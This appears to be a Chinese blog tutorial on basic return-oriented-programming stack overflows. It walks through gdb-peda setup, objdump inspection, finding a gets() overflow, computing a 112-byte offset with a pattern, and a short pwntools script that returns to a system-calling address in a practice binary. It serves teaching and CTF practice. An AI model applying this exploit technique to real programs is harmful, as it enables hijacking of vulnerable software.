ROP基础栈溢出

华盟原创文章投稿奖励计划

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码.

ROP的思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程
先搭建好环境
安装gdb-peda:
git clone https://gitee.com/takaobsid/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
切换pwndbg和peda:vim ~/.gdbinit

ROP基础栈溢出

查看汇编代码objdump -t 程序查看程序中使用到的函数objdump -d 程序查看程序中的汇编代码objdump -d -j .plt程序  查看plt表
以某程序为例查看一下程序的保护机制,可以看到是32位的程序且仅仅开启了栈不可执行保护NX

ROP基础栈溢出

使用objdump查看程序

ROP基础栈溢出

ROP基础栈溢出

先要找出溢出点,然后确定溢出偏移,找到system函数,最后编写exp

ROP基础栈溢出

程序中使用了缺乏安全性的gets() 函数,显然存在栈溢出漏洞

ROP基础栈溢出
ROP基础栈溢出

这里也可以使用IDA进行静态汇编代码分析

ROP基础栈溢出

双击进去,发现是在secure函数中调用

ROP基础栈溢出
ROP基础栈溢出

使用GDB pattern字符串溢出计算偏移量
生成200个序列,pattern create 200

ROP基础栈溢出

Invalid address0x41384141

ROP基础栈溢出

编写expfrom pwn import *p =process("./rop")offset = 112payload ='a'*offset +p32(0x804863a)p.sendline(payload)p.interactive()ROP基础栈溢出

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/274879.html

发表评论